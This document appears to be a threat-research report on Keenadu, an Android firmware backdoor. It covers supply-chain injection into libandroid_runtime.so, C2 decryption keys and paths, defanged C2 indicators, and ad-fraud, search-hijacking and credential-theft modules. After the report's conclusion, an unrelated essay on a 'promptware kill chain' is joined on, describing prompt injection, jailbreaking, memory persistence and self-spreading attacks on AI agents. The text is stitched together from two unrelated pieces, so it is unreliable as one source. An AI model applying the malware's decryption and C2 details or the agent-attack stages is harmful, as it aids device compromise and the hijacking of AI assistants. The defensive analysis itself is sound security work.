Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise. This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system. During the investigation, we were surprised by the scope of the Keenadu campaigns: beyond the primary backdoor in firmware, its modules were found in system apps and even in apps from Google Play. This places the Trojan on the same scale as threats like Triada or BADBOX. The emergence of a new pre-installed backdoor of this magnitude indicates that this category of malware is a distinct market with significant competition.
Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials.
In April 2025, we reported on a then-new iteration of the Triada backdoor that had compromised the firmware of counterfeit Android devices sold across major marketplaces. The malware was deployed to the system partitions and hooked into Zygote – the parent process for all Android apps – to infect any app on the device. This allowed the Trojan to exfiltrate credentials from messaging apps and social media platforms, among other things.
This discovery prompted us to dive deeper, looking for other Android firmware-level threats. Our investigation uncovered a new backdoor, dubbed Keenadu, which mirrored Triada’s behavior by embedding itself into the firmware to compromise every app launched on the device. Keenadu proved to have a significant footprint; following its initial detection, we saw a surge in support requests from our users seeking further information about the threat. This report aims to address most of the questions and provide details on this new threat.
Our findings can be summarized as follows:
We discovered a new backdoor, which we dubbed Keenadu, in the firmware of devices belonging to several brands. The infection occurred during the firmware build phase, where a malicious static library was linked with libandroid_runtime.so. Once active on the device, the malware injected itself into the Zygote process, similarly to Triada. In several instances, the compromised firmware was delivered with an OTA update.
A copy of the backdoor is loaded into the address space of every app upon launch. The malware is a multi-stage loader granting its operators the unrestricted ability to control the victim’s device remotely.
We successfully intercepted the payloads retrieved by Keenadu. Depending on the targeted app, these modules hijack the search engine in the browser, monetize new app installs, and stealthily interact with ad elements.
One specific payload identified during our research was also found embedded in numerous standalone apps distributed via third-party repositories, as well as official storefronts like Google Play and Xiaomi GetApps.
In certain firmware builds, Keenadu was integrated directly into critical system utilities, including the facial recognition service, the launcher app, and others.
Our investigation established a link between some of the most prolific Android botnets: Triada, BADBOX, Vo1d, and Keenadu.
The complete Keenadu infection chain looks like this:
Full infection diagram
Kaspersky solutions detect the threats described below with the following verdicts:
At the very beginning of the investigation, our attention was drawn to suspicious libraries located at /system/lib/libandroid_runtime.so and /system/lib64/libandroid_runtime.so – we will use the shorthand /system/lib[64]/ to denote these two directories. The library exists in the original Android source. Specifically, it defines the println_native native method for the android.util.Log class. Apps utilize this method to write to the logcat system log. In the suspicious libraries, the implementation of println_native differed from the legitimate version by the call of a single function:
Call to the suspicious function
The suspicious function decrypted data from the library body using RC4 and wrote it to /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The data represents a payload that is loaded via DexClassLoader. The entry point within it is the main method of the com.ak.test.Main class, where “ak” likely refers to the author’s internal name for the malware; this letter combination is also used in other locations throughout the code. In particular, the developers left behind a significant amount of code that writes error messages to the logcat log during the malware’s execution. These messages have the AK_CPP tag.
Payload decryption
The payload checks whether it is running within system apps belonging either to Google services or to Sprint or T-Mobile carriers. The latter apps are typically found in specialized device versions that carriers sell at a discount, provided the buyer signs a service contract. The malware aborts its execution if it finds that it’s running within these processes. It also implements a kill switch that terminates its execution if it finds files with specific names in system directories.
Next, the Trojan checks if it is running within the system_server process. This process controls the entire system and possesses maximum privileges; it is launched by the Zygote process when it starts. If the check returns positive, the Trojan creates an instance of the AKServer class; if the code is running in any other process, it creates an instance of the AKClient class instead. It then calls the new object’s virtual method, passing the app process name to it. The class names suggest that the Trojan is built upon a client-server architecture.
Launching system_server in Zygote
The system_server process creates and launches various system services with the help of the SystemServiceManager class. These services are based on a client-server architecture, and clients for them are requested within app code by calling the Context.getSystemService method. Communication with the server-side component uses the Android inter-process communication (IPC) primitive, binder. This approach offers numerous security and other benefits. These include, among other things, the ability to restrict certain apps from accessing various system services and their functionality, as well as the presence of abstractions that simplify the use of this access for developers while simultaneously protecting the system from potential vulnerabilities in apps.
The authors of Keenadu designed it in a similar fashion. The core logic is located in the AKServer class, which operates within the system_server process. AKServer essentially represents a malicious system service, while AKClient acts as the interface for accessing AKServer via binder. For convenience, we provide a diagram of the backdoor’s architecture below:
Keenadu backdoor execution flow
It is important to highlight Keenadu as yet another case where we find key Android security principles being compromised. First, because the malware is embedded in libandroid_runtime.so, it operates within the context of every app on the device, thereby gaining access to all their data and rendering the system’s intended app sandboxing meaningless. Second, it provides interfaces for bypassing permissions (discussed below) that are used to control app privileges within the system. Consequently, it represents a full-fledged backdoor that allows attackers to gain virtually unrestricted control over the victim’s device.
AKClient architecture
AKClient is relatively straightforward in its design. It is injected into every app launched on the device and retrieves an interface instance for server communication via a protected broadcast (com.action.SystemOptimizeService). Using binder, this interface sends an attach transaction to the malicious AKServer, passing an IPC wrapper that facilitates the loading of arbitrary DEX files within the context of the compromised app. This allows AKServer to execute custom malicious payloads tailored to the specific app it has targeted.
AKServer architecture
At the start of its execution, AKServer sends two protected broadcasts: com.action.SystemOptimizeService and com.action.SystemProtectService. As previously described, the first broadcast delivers an interface instance to other AKClient-infected processes for interacting with AKServer. Along with the com.action.SystemProtectService message, an instance of another interface for interacting with AKServer is transmitted. Malicious modules downloaded within the contexts of other apps can use this interface to:
Grant any permission to an arbitrary app on the device.
Revoke any permission from an arbitrary app on the device.
Retrieve the device’s geolocation.
Exfiltrate device information.
Malicious interface for permission management and device data collection
Once interaction between the server and client components is established, AKServer launches its primary malicious task, titled MainWorker. Upon its initial launch, MainWorker logs the current system time. Following this, the malware checks the device’s language settings and time zone. If the interface language is a Chinese dialect and the device is located within a Chinese time zone, the malware terminates. It also remains inactive if either the Google Play Store or Google Play Services are absent from the device. If the device passes these checks, the Trojan initiates the PluginTask task. At the start of its routine, PluginTask decrypts the command-and-control server addresses from the code as follows:
The encrypted address string is decoded using Base64.
The resulting data, a gzip-compressed buffer, is then decompressed.
The decompressed data is decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string "ota.host.ba60d29da7fd4794b5c5f732916f7d5c", and the initialization vector is the string "0102030405060708".
After decrypting the C2 server addresses, the Trojan collects victim device metadata, such as the model, IMEI, MAC address, and OS version, and encrypts it using the same method as the server addresses, but this time it utilizes the MD5 hash of the string "ota.api.bbf6e0a947a5f41d7f5226affcfd858c" as the AES key. The encrypted data is sent to the C2 server via a POST request to the path /ak/api/pts/v4. The request parameters include two values:
m: the MD5 hash of the device IMEI
n: the network connection type (“w” for Wi-Fi, and “m” for mobile data)
The response from the C2 server contains a code field, which may hold an error code returned by the server. If this field has a zero value, no error has occurred. In this case, the response will include a data field: a JSON object encrypted in the same manner as the request data and containing information about the payloads.
How Keenadu compromised libandroid_runtime.so
After analyzing the initial infection stages, we set out to determine exactly how the backdoor was being integrated into Android device firmware. Almost immediately, we discovered public reports from Alldocube tablet users regarding suspicious DNS queries originating from their devices. This vendor had previously acknowledged the presence of malware in one of its tablet models. However, the company’s statement contained no specifics regarding which malware had compromised the devices or how the breach occurred. We will attempt to answer these questions.
User complaints regarding suspicious DNS queries
The DNS queries described by the original complainant also appeared suspicious to us. According to our telemetry, the Keenadu C2 domains obtained at that time resolved to the IP addresses listed below:
67.198.232[.]4
67.198.232[.]187
The domains keepgo123[.]com and gsonx[.]com mentioned in the complaint resolved to these same addresses, which may indicate that the complainant’s tablet was also infected with Keenadu. However, matching IP addresses alone is insufficient for a definitive attribution. To test this hypothesis, it was necessary to examine the device itself. We considered purchasing the same tablet model, but this proved unnecessary: as it turns out, Alldocube publishes firmware archives for its devices publicly, allowing anyone to audit them for malware.
To analyze the firmware, one must first determine the storage format of its contents. Alldocube firmware packages are RAR archives containing various image files, other types of files, and a Windows-based flashing utility. From an analytical standpoint, the Android file system holds the most value. Its primary partitions, including the system partition, are contained within the image file super.img. This is an Android Sparse Image. For the sake of brevity, we will omit a technical breakdown of this format (which can be reconstructed from the libsparsecode); it is sufficient to note that there are open-source utilities to extract partitions from these files in the form of standard file system images.
We extracted libandroid_runtime.so from the Alldocube iPlay 50 mini Pro (T811M) firmware dated August 18, 2023. Upon examining the library, we discovered the Keenadu backdoor. Furthermore, we decrypted the payload and extracted C2 server addresses hosted on the keepgo123[.]com and gsonx[.]com domains, confirming the user’s suspicions: their devices were indeed infected with this backdoor. Notably, all subsequent firmware versions for this model also proved to be infected, including those released after the vendor’s public statement.
Special attention should be paid to the firmware for the Alldocube iPlay 50 mini Pro NFE model. The “NFE” (Netflix Enabled) part of the name indicates that these devices include an additional DRM module to support high-quality streaming. To achieve this, they must meet the Widevine L1 standard under the Google Widevine DRM premium media protection system. Consequently, they process media within a TEE (Trusted Execution Environment), which mitigates the risk of untrusted code accessing content and thus prevents unauthorized media copying. While Widevine certification failed to protect these devices from infection, the initial Alldocube iPlay 50 mini Pro NFE firmware (released November 7, 2023) was clean – unlike other models’ initial firmware. However, every subsequent version, including the latest release from May 20, 2024, contained Keenadu.
During our analysis of the Alldocube device firmware, we discovered that all images carried valid digital signatures. This implies that simply compromising an OTA update server would have been insufficient for an attacker to inject the backdoor into libandroid_runtime.so. They would also need to gain possession of the private signing keys, which normally should not be accessible from an OTA server. Consequently, it is highly probable that the Trojan was integrated into the firmware during the build phase.
Furthermore, we have found a static library, libVndxUtils.a (MD5: ca98ae7ab25ce144927a46b7fee6bd21), containing the Keenadu code, which further supports our hypothesis. This malicious library is written in C++ and was compiled using the CMake build system. Interestingly, the library retained absolute file paths to the source code on the developer’s machine:
D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_load.cpp: this file contains the dropper code.
D:\work\git\zh\os\ak-client\ak-client\loader\src\main\cpp\__log_native_data.cpp: this file contains the RC4-encrypted payload along with its size metadata.
The dropper’s entry point is the function __log_check_tag_count. The attacker inserted a call to this function directly into the implementation of the println_native method.
Code snippet where the attacker inserted the malicious call
According to our data, the malicious dependency was located within the firmware source code repository at the following paths:
Interestingly, the Trojan within libandroid_runtime.so decrypts and writes the payload to disk at /data/dalvik-cache/arm[64]/system@framework@vndx_10x.jar@classes.jar. The attacker most likely attempted to disguise the malicious libandroid_runtime.so dependency as a supposedly legitimate “vndx” component containing proprietary code from MediaTek. In reality, no such component exists in MediaTek products.
Finally, according to our telemetry, the Trojan is found not only in Alldocube devices but also in hardware from other manufacturers. In all instances, the backdoor is embedded within tablet firmware. We have notified these vendors about the compromise.
Based on the evidence presented above, we believe that Keenadu was integrated into Android device firmware as the result of a supply chain attack. One stage of the firmware supply chain was compromised, leading to the inclusion of a malicious dependency within the source code. Consequently, the vendors may have been unaware that their devices were infected prior to reaching the market.
Keenadu backdoor modules
As previously noted, the inherent architecture of Keenadu allows attackers to gain virtually unrestricted control over the victim’s device. To understand exactly how they leveraged this capability, we analyzed the payloads downloaded by the backdoor. To achieve this, we crafted a request to the C2 server, masquerading as an infected device. Initially, the C2 server did not deliver any files; instead, it returned a timestamp for the next check-in, scheduled 2.5 months after the initial request. Through black-box analysis of the C2 server, we determined that the request includes the backdoor’s activation time; if 2.5 months have not elapsed since that moment, the C2 will not serve any payloads. This is likely a technique designed to complicate analysis and minimize the probability of these payloads being detected. Once we modified the activation time in our request to a sufficiently distant date in the past, the C2 server returned the list of payloads for analysis.
The attacker’s server delivers information about the payloads as an object array. Each object contains a download link for the payload, its MD5 hash, target app package names, target process names, and other metadata. An example of such an object is provided below. Notably, the attackers chose Alibaba Cloud as their CDN provider.
Example of payload metadata
Files downloaded by Keenadu utilize a proprietary format to store the encrypted payload and its configuration. A pseudocode description of this format is presented below (struct KeenaduPayload):
After downloading, Keenadu verifies the file integrity using MD5. The Trojan’s creators also implemented a code-signing mechanism using the DSA algorithm. The signature is verified before the payload is decrypted and executed. This ensures that only an attacker in possession of the private key can generate malicious payloads. Upon successful verification, the configuration and the malicious module are decrypted using AES-128 in CFB mode. The decryption key is the MD5 hash of the string that is a concatenation of "37d9a33df833c0d6f11f1b8079aaa2dc" and a salt, while the initialization vector is the string "0102030405060708".
The configuration contains information regarding the module’s entry and exit points, its name, and its version. An example configuration for one of the modules is provided below.
Having outlined the backdoor’s algorithm for loading malicious modules, we will now proceed to their analysis.
Keenadu loader
This module (MD5: 4c4ca7a2a25dbe15a4a39c11cfef2fb2) targets popular online storefronts with the following package names:
com.amazon.mShop.android.shopping (Amazon)
com.zzkko (SHEIN)
com.einnovation.temu (Temu)
The entry point is the start method of the com.ak.p.d.MainApi class. This class initiates a malicious task named HsTask, which serves as a loader conceptually similar to AKServer. Upon execution, the loader collects victim device metadata (model, IMEI, MAC address, OS version, and so on) as well as information regarding the specific app within which it is running. The collected data is encoded using the same method as the AKServerrequests sent to /ak/api/pts/v4. Once encoded, the loader exfiltrates the data via a POST request to the C2 server at /ota/api/tasks/v3.
Data collection via the plugin
In response, the attackers’ server returns a list of modules for download and execution, as well as a list of APK files to install on the victim’s device. Interestingly, in newer Android versions, the delivery of these APKs is implemented via installation sessions. This is likely an attempt by the malware to bypass restrictions introduced in recent OS versions, which prevent sideloaded apps from accessing sensitive permissions – specifically accessibility services.
Use of an installation session
Unfortunately, during our research, we were unable to obtain samples of the specific modules and APK files downloaded by this loader. However, users online have reported that infected tablets were adding items to marketplace shopping carts without the user’s knowledge.
User complaint on Reddit
Clicker loader
These modules (such as ad60f46e724d88af6bcacb8c269ac3c1) are injected into the following apps:
Wallpaper (com.android.wallpaper)
YouTube (com.google.android.youtube)
Facebook (com.facebook.katana)
Digital Wellbeing (com.google.android.apps.wellbeing)
System launcher (com.android.launcher3)
Upon execution, the malicious module retrieves the device’s location and IP address using a GeoIP service deployed on the attackers’ C2 server. This data, along with the network connection type and OS version, is exfiltrated to the C2. In response, the server returns a specially formatted file containing an encrypted JSON object with payload information, as well as a XOR key for decryption. The structure of this file is described below using pseudocode:
The decrypted JSON consists of an array of objects containing download links for the payloads and their respective entry points. An example of such an object is provided below. The payloads themselves are encrypted using the same logic as the JSON.
Example of payload metadata
In the course of our research, we obtained several payloads whose primary objective was to interact with advertising elements on various themed websites: gaming, recipes, and news. Each specific module interacts with one particular website whose address is hardcoded into its source.
Google Chrome module
This module (MD5: 912bc4f756f18049b241934f62bfb06c) targets the Google Chrome browser (com.android.chrome). At the start of its execution, it registers an Activity Lifecycle Callback handler. Whenever an activity is launched within the target app, this handler checks its name. If the name matches the string "ChromeTabbedActivity", the Trojan searches for a text input field (used for search queries and URLs) named url_bar.
Searching for the url_bar text element
If the element is found, the malware monitors text changes within it. All search queries entered by the user into the url_bar field are exfiltrated to the attackers’ server. Furthermore, once the user finishes typing a query, the Trojan can hijack the search request and redirect it to a different search engine, depending on the configuration received from the C2 server.
Search engine hijacking
It is worth noting that the hijacking attempt may fail if the user selects a query from the autocomplete suggestions; in this scenario, the user does not hit Enter or tap the search button in the url_bar, which would signal the malware to trigger the redirect. However, the attackers anticipated this too. The Trojan attempts to locate the omnibox_suggestions_dropdown element within the current activity, a ViewGroup containing the search suggestions. The malware monitors taps on these suggestions and proceeds to redirect the search engine regardless.
Search engine hijacking upon selecting a browser-suggested option
The Nova (Phantom) clicker
The initial version of this module (MD5: f0184f6955479d631ea4b1ea0f38a35d) was a clicker embedded within the system wallpaper picker (com.android.wallpaper). Researchers at Dr. Web discovered it concurrently with our investigation; however, their report did not mention the clicker’s distribution vector via the Keenadu backdoor. The module utilizes machine learning and WebRTC to interact with advertising elements. While our colleagues at Dr. Web named it Phantom, the C2 server refers to it as Nova. Furthermore, the task executed within the code is named NovaTask. Based on this, we believe the original name of the clicker is Nova.
Nova as the plugin name
It is also worth noting that shortly after the publication of the report on this clicker, the Keenadu C2 server began deleting it from infected devices. This is likely a strategic move by the attackers to evade further detection.
Request to unload the Nova module
Interestingly, in the unload request, the Nova module appeared under a slightly different name. We believe this new name disguises the latest version of the module, which functions as a loader capable of downloading the following components:
The Nova clicker.
A Spyware module which exfiltrates various types of victim device information to the attackers’ server.
The Gegu SDK dropper. According to our data, this is a multi-stage dropper that launches two additional clickers.
Install monetization
A module with the MD5 hash 3dae1f297098fa9d9d4ee0335f0aeed3 is embedded into the system launcher (com.android.launcher3). Upon initialization, it runs an environment check for virtual machine artifacts. If none are detected, the malware registers an event handler for session-based app installations.
Handler registration
Simultaneously, the module requests a configuration file from the C2 server. An example of this configuration is provided below.
Example of a monetization module configuration
When an app installation is initiated on the device, the Trojan transmits data on this app to the C2 server. In response, the server provides information regarding the specific ad used to promote it.
App ad source information
For every successfully completed installation session, the Trojan executes GET requests to the URL provided in the tracking_link field in the response, as well as the first link within the click array. Based on the source code, the links in the click array serve as templates into which various advertising identifiers are injected. The attackers most likely use this method to monetize app installations. By simulating traffic from the victim’s device, the Trojan deceives advertising platforms into believing that the app was installed from a legitimate ad tap.
Google Play module
Even though AKClient shuts down if it is injected into Google Play process, the C2 server have provided us with a payload for it. This module (MD5: 529632abf8246dfe555153de6ae2a9df) retrieves the Google Ads advertising ID and stores it via a global instance of the Settings class under the key S_GA_ID3. Subsequently, other modules may utilize this value as a victim identifier.
Retrieving the advertising ID
Other Keenadu distribution vectors
During our investigation, we decided to look for alternative sources of Keenadu infections. We discovered that several of the modules described above appeared in attacks that were not linked to the compromise of libandroid_runtime.so. Below are the details of these alternative vectors.
System apps
According to our telemetry, the Keenadu loader was found within various system apps in the firmware of several devices. One such app (MD5: d840a70f2610b78493c41b1a344b6893) was a face recognition service with the package name com.aiworks.faceidservice. It contains a set of trained machine-learning models used for facial recognition – specifically for authorizing users via Face ID. To facilitate this, the app defines a service named com.aiworks.lock.face.service.FaceLockService, which the system UI (com.android.systemui) utilizes to unlock the device.
Using the face recognition service in the System UI
Within the onCreate method of the com.aiworks.lock.face.service.FaceLockService, triggered upon that service’s creation, three receivers are registered. These receivers monitor screen on/off events, the start of charging, and the availability of network access. Each of these receivers calls the startMars method whose primary purpose is to initialize the malicious loader by calling the init method of the com.hs.client.TEUtils class.
Malicious call
The loader is a slightly modified version of the Keenadu loader. This specific variant utilizes a native library libhshelper.so to load modules and facilitate APK installs. To accomplish this, the library defines corresponding native methods within the com.hs.helper.NativeMain class.
Native methods defined by the library
This specific attack vector – embedding a loader within system apps – is not inherently new. We have previously documented similar cases, such as the Dwphon loader, which was integrated into system apps responsible for OTA updates. However, this marks the first time we have encountered a Trojan embedded within a facial recognition service.
In addition to the face recognition service, we identified other system apps infected with the Keenadu loader. These included the launcher app on certain devices (MD5: 382764921919868d810a5cf0391ea193). A malicious service, com.pri.appcenter.service.RemoteService, was embedded into these apps to trigger the Trojan’s execution.
We also discovered the Keenadu loader within the app with package name com.tct.contentcenter (MD5: d07eb2db2621c425bda0f046b736e372). This app contains the advertising SDK fwtec, which retrieved its configuration via an HTTP GET request to hxxps://trends.search-hub[.]cn/vuGs8 with default redirection disabled. In response, the Trojan expected a 302 redirect code where the Location header provided an URL containing the SDK configuration within its parameters. One specific parameter, hsby_search_switch, controlled the activation of the Keenadu loader: if its value was set to 1, the loader would initialize within the app.
Retrieving the configuration from the C2
Loading via other backdoors
While analyzing our telemetry, we discovered an unusual version of the Keenadu loader (MD5: f53c6ee141df2083e0200a514ba19e32) located in the directories of various apps within external storage, specifically at paths following the pattern: /storage/emulated/0/Android/data/%PACKAGE%/files/.dx/. Based on the code analysis, this loader was designed to operate within a system where the system_server process had already been compromised. Notably, the binder interface names used in this version differed from those used by AKServer. The loader utilized the following interfaces:
com.androidextlib.sloth.api.IPServiceM
com.androidextlib.sloth.api.IPermissionsM
These same binder interfaces are defined by another backdoor that is structured similarly and was also discovered within libandroid_runtime.so. The execution of this other backdoor on infected devices proceeds as follows: libandroid_runtime.so imports a malicious function __android_log_check_loggable from the liblog.so library (MD5: 3d185f30b00270e7e30fc4e29a68237f). This function is called within the implementation of the println_native native method of the android.util.Log class. It decrypts a payload embedded in the library’s body using a single-byte XOR and executes it within the context of all apps on the device.
Payload decryption
The payload shares many similarities with BADBOX, a comprehensive malware platform first described by researchers at HUMAN Security. Specifically, the C2 server paths used for the Trojan’s HTTP requests are a match. This leads us to believe that this is a specific variant of BADBOX.
The path /terminal/client/register was previously documented in a HUMAN Security report
Within this backdoor, we also discovered the binder interfaces utilized by the aforementioned Keenadu loader. This suggests that those specific instances of Keenadu were deployed directly by BADBOX.
One of the binder interfaces used by Keenadu is defined in the payload
Modifications of popular apps
Unfortunately, even if your firmware does not contain Keenadu or another pre-installed backdoor, the Trojan still poses a threat to you. The Nova (Phantom) clicker was discovered by researchers at Dr. Web around the same time as we held our investigation. Their findings highlight a different distribution vector: modified versions of popular software distributed primarily through unofficial sources, as well as various apps found in the GetApps store.
Google Play
Infected apps have managed to infiltrate Google Play too. During our research, we identified trojanized software for smart cameras published on the official Android app store. Collectively, these apps had been downloaded more than 300,000 times.
Examples of infected apps in Google Play
Each of these apps contained an embedded service named com.arcsoft.closeli.service.KucopdInitService, which launched the aforementioned Nova clicker. We alerted Google to the presence of the infected apps in its store, and they removed the malware. Curiously, while the malicious service was present in all identified apps, it was configured to execute only in one specific package: com.taismart.global.
The malicious service was launched only under specific conditions
The Fantastic Four: how Triada, BADBOX, Vo1d, and Keenadu are connected
After discovering that BADBOX downloads one of the Keenadu modules, we decided to conduct further research to determine if there were any other signs of a connection between these Trojans. As a result, we found that BADBOX and Keenadu shared similarities in the payload code that was decrypted and executed by the malicious code in libandroid_runtime.so. We also identified similarities between the Keenadu loader and the BB2DOOR module of the BADBOX Trojan. Given that there are also distinct differences in the code, and considering that BADBOX was downloading the Keenadu loader, we believe these are separate botnets, and the developers of Keenadu likely found inspiration in the BADBOX source code. Furthermore, the authors of Keenadu appear to target Android tablets primarily.
In our recent report on the Triada backdoor, we mentioned that the C2 server for one of its downloaded modules was hosted on the same domain as one of the Vo1d botnet’s servers, which could suggest a link between those two Trojans. However, during the current investigation, we managed to uncover a connection between Triada and the BADBOX botnet as well. As it turns out, the directories where BADBOX downloaded the Keenadu loader also contained other payloads for various apps. Their description warrants a separate report; for the sake of brevity, we will not delve into the details here, limiting ourselves to the analysis of a payload for the Telegram and Instagram clients (MD5: 8900f5737e92a69712481d7a809fcfaa). The entry point for this payload is the com.extlib.apps.InsTGEnter class. The payload is designed to steal victims’ account credentials in the infected services. Interestingly, it also contains code for stealing credentials from the WhatsApp client, though it is currently not utilized.
BADBOX payload code used for stealing credentials from WhatsApp clients
The C2 server addresses used by the Trojan to exfiltrate device data are stored in the code in an encrypted format. They are first decoded using Base64 and then decrypted via a XOR operation with the string "xiwljfowkgs".
Decrypted payload C2 addresses
After decrypting the C2 addresses, we discovered the domain zcnewy[.]com, which we had previously identified in 2022 during our investigation of malicious WhatsApp mods containing Triada. At that time, we assumed that the code segment responsible for stealing WhatsApp credentials and the malicious dropper both belonged to Triada. However, since we have now established that zcnewy[.]com is linked to BADBOX, we believe that the infected WhatsApp modifications we described in 2022 actually contained two distinct Trojans: Triada and BADBOX. To verify this hypothesis, we re-examined one of those modifications (MD5: caa640824b0e216fab86402b14447953) and confirmed that it contained the code for both the Triada dropper and a BADBOX module functionally similar to the one described above. Although the Trojans were launched from the same entry point, they did not interact with each other and were structured in entirely different ways. Based on this, we conclude that what we observed in 2022 was a joint attack by the BADBOX and Triada operators.
BADBOX and Triada launched from the same entry point
These findings show that several of the largest Android botnets are interacting with one another. Currently, we have confirmed links between Triada, Vo1d, and BADBOX, as well as the connection between Keenadu and BADBOX. Researchers at HUMAN Security have also previously reported a connection between Vo1d and BADBOX. It is important to emphasize that these connections are not necessarily transitive. For example, the fact that both Triada and Keenadu are linked to BADBOX does not automatically imply that Triada and Keenadu are directly connected; such a claim would require separate evidence. However, given the current landscape, we would not be surprised if future reports provide the evidence needed to prove the transitivity of these relationships.
Victims
According to our telemetry, 13,715 users worldwide have encountered Keenadu or its modules. Our security solutions recorded the highest number of users attacked by the malware in Russia, Japan, Germany, Brazil and the Netherlands.
Recommendations
Our technical support team is often asked what steps should be taken if a security solution detects Keenadu on a device. In this section, we examine all possible scenarios for combating this Trojan.
If the libandroid_runtime.so library is infected
Modern versions of Android mount the system partition, which contains libandroid_runtime.so, as read-only. Even if one were to theoretically assume the possibility of editing this partition, the infected libandroid_runtime.so library cannot be removed without damaging the firmware: the device would simply cease to boot. Therefore, it is impossible to eliminate the threat using standard Android OS tools. Operating a device infected with the Keenadu backdoor can involve significant inconveniences. Reviews of infected devices complain about intrusive ads and various mysterious sounds whose source cannot be identified.
Review of an infected tablet complaining about noise
If you encounter the Keenadu backdoor, we recommend the following:
Check for software updates. It is possible that a clean firmware version has already been released for your device. After updating, use a reliable security solution to verify that the issue has been resolved.
If a clean firmware update from the manufacturer does not exist for your device, you can attempt to install a clean firmware yourself. However, it is important to remember that manually flashing a device can brick it.
Until the firmware is replaced or updated, we recommend that you stop using the infected device.
If one of the system apps is infected
Unfortunately, as in the previous case, it is not possible to remove such an app from the device because it is located in the system partition. If you encounter the Keenadu loader in a system app, our recommendations are:
Find a replacement for the app, if applicable. For example, if the launcher app is infected, you can download any alternative that does not contain malware. If no alternatives exist for the app – for example, if the face recognition service is infected – we recommend avoiding the use of that specific functionality whenever possible.
Disable the infected app using ADB if an alternative has been found or you don’t really need it. This can be done with the command adb shell pm disable --user 0 %PACKAGE%.
If an infected app has been installed on the device
This is one of the simplest cases of infection. If a security solution has detected an app infected with Keenadu on your device, simply uninstall it following the instructions the solution provides.
Conclusion
Developers of pre-installed backdoors in Android device firmware have always stood out for their high level of expertise. This is still true for Keenadu: the creators of the malware have a deep understanding of the Android architecture, the app startup process, and the core security principles of the operating system. During the investigation, we were surprised by the scope of the Keenadu campaigns: beyond the primary backdoor in firmware, its modules were found in system apps and even in apps from Google Play. This places the Trojan on the same scale as threats like Triada or BADBOX. The emergence of a new pre-installed backdoor of this magnitude indicates that this category of malware is a distinct market with significant competition.
Keenadu is a large-scale, complex malware platform that provides attackers with unrestricted control over the victim’s device. Although we have currently shown that the backdoor is used primarily for various types of ad fraud, we do not rule out that in the future, the malware may follow in Triada’s footsteps and begin stealing credentials.
Attacks against modern generative artificial intelligence (AI) large language models (LLMs) pose a real threat. Yet discussions around these attacks and their potential defenses are dangerously myopic. The dominant narrative focuses on “prompt injection,” a set of techniques to embed instructions into inputs to LLM intended to perform malicious activity. This term suggests a simple, singular vulnerability. This framing obscures a more complex and dangerous reality. Attacks on LLM-based systems have evolved into a distinct class of malware execution mechanisms, which we term “promptware.” In a new paper, we, the authors, propose a structured seven-step “promptware kill chain” to provide policymakers and security practitioners with the necessary vocabulary and framework to address the escalating AI threat landscape.
In our model, the promptware kill chain begins with Initial Access. This is where the malicious payload enters the AI system. This can happen directly, where an attacker types a malicious prompt into the LLM application, or, far more insidiously, through “indirect prompt injection.” In the indirect attack, the adversary embeds malicious instructions in content that the LLM retrieves (obtains in inference time), such as a web page, an email, or a shared document. As LLMs become multimodal (capable of processing various input types beyond text), this vector expands even further; malicious instructions can now be hidden inside an image or audio file, waiting to be processed by a vision-language model.
The fundamental issue lies in the architecture of LLMs themselves. Unlike traditional computing systems that strictly separate executable code from user data, LLMs process all input—whether it is a system command, a user’s email, or a retrieved document—as a single, undifferentiated sequence of tokens. There is no architectural boundary to enforce a distinction between trusted instructions and untrusted data. Consequently, a malicious instruction embedded in a seemingly harmless document is processed with the same authority as a system command.
But prompt injection is only the Initial Access step in a sophisticated, multistage operation that mirrors traditional malware campaigns such as Stuxnet or NotPetya.
Once the malicious instructions are inside material incorporated into the AI’s learning, the attack transitions to Privilege Escalation, often referred to as “jailbreaking.” In this phase, the attacker circumvents the safety training and policy guardrails that vendors such as OpenAI or Google have built into their models. Through techniques analogous to social engineering—convincing the model to adopt a persona that ignores rules—to sophisticated adversarial suffixes in the prompt or data, the promptware tricks the model into performing actions it would normally refuse. This is akin to an attacker escalating from a standard user account to administrator privileges in a traditional cyberattack; it unlocks the full capability of the underlying model for malicious use.
Following privilege escalation comes Reconnaissance. Here, the attack manipulates the LLM to reveal information about its assets, connected services, and capabilities. This allows the attack to advance autonomously down the kill chain without alerting the victim. Unlike reconnaissance in classical malware, which is performed typically before the initial access, promptware reconnaissance occurs after the initial access and jailbreaking components have already succeeded. Its effectiveness relies entirely on the victim model’s ability to reason over its context, and inadvertently turns that reasoning to the attacker’s advantage.
Fourth: the Persistence phase. A transient attack that disappears after one interaction with the LLM application is a nuisance; a persistent one compromises the LLM application for good. Through a variety of mechanisms, promptware embeds itself into the long-term memory of an AI agent or poisons the databases the agent relies on. For instance, a worm could infect a user’s email archive so that every time the AI summarizes past emails, the malicious code is re-executed.
The Command-and-Control (C2) stage relies on the established persistence and dynamic fetching of commands by the LLM application in inference time from the internet. While not strictly required to advance the kill chain, this stage enables the promptware to evolve from a static threat with fixed goals and scheme determined at injection time into a controllable trojan whose behavior can be modified by an attacker.
The sixth stage, Lateral Movement, is where the attack spreads from the initial victim to other users, devices, or systems. In the rush to give AI agents access to our emails, calendars, and enterprise platforms, we create highways for malware propagation. In a “self-replicating” attack, an infected email assistant is tricked into forwarding the malicious payload to all contacts, spreading the infection like a computer virus. In other cases, an attack might pivot from a calendar invite to controlling smart home devices or exfiltrating data from a connected web browser. The interconnectedness that makes these agents useful is precisely what makes them vulnerable to a cascading failure.
Finally, the kill chain concludes with Actions on Objective. The goal of promptware is not just to make a chatbot say something offensive; it is often to achieve tangible malicious outcomes through data exfiltration, financial fraud, or even physical world impact. There are examples of AI agents being manipulated into selling cars for a single dollar or transferring cryptocurrency to an attacker’s wallet. Most alarmingly, agents with coding capabilities can be tricked into executing arbitrary code, granting the attacker total control over the AI’s underlying system. The outcome of this stage determines the type of malware executed by promptware, including infostealer, spyware, and cryptostealer, among others.
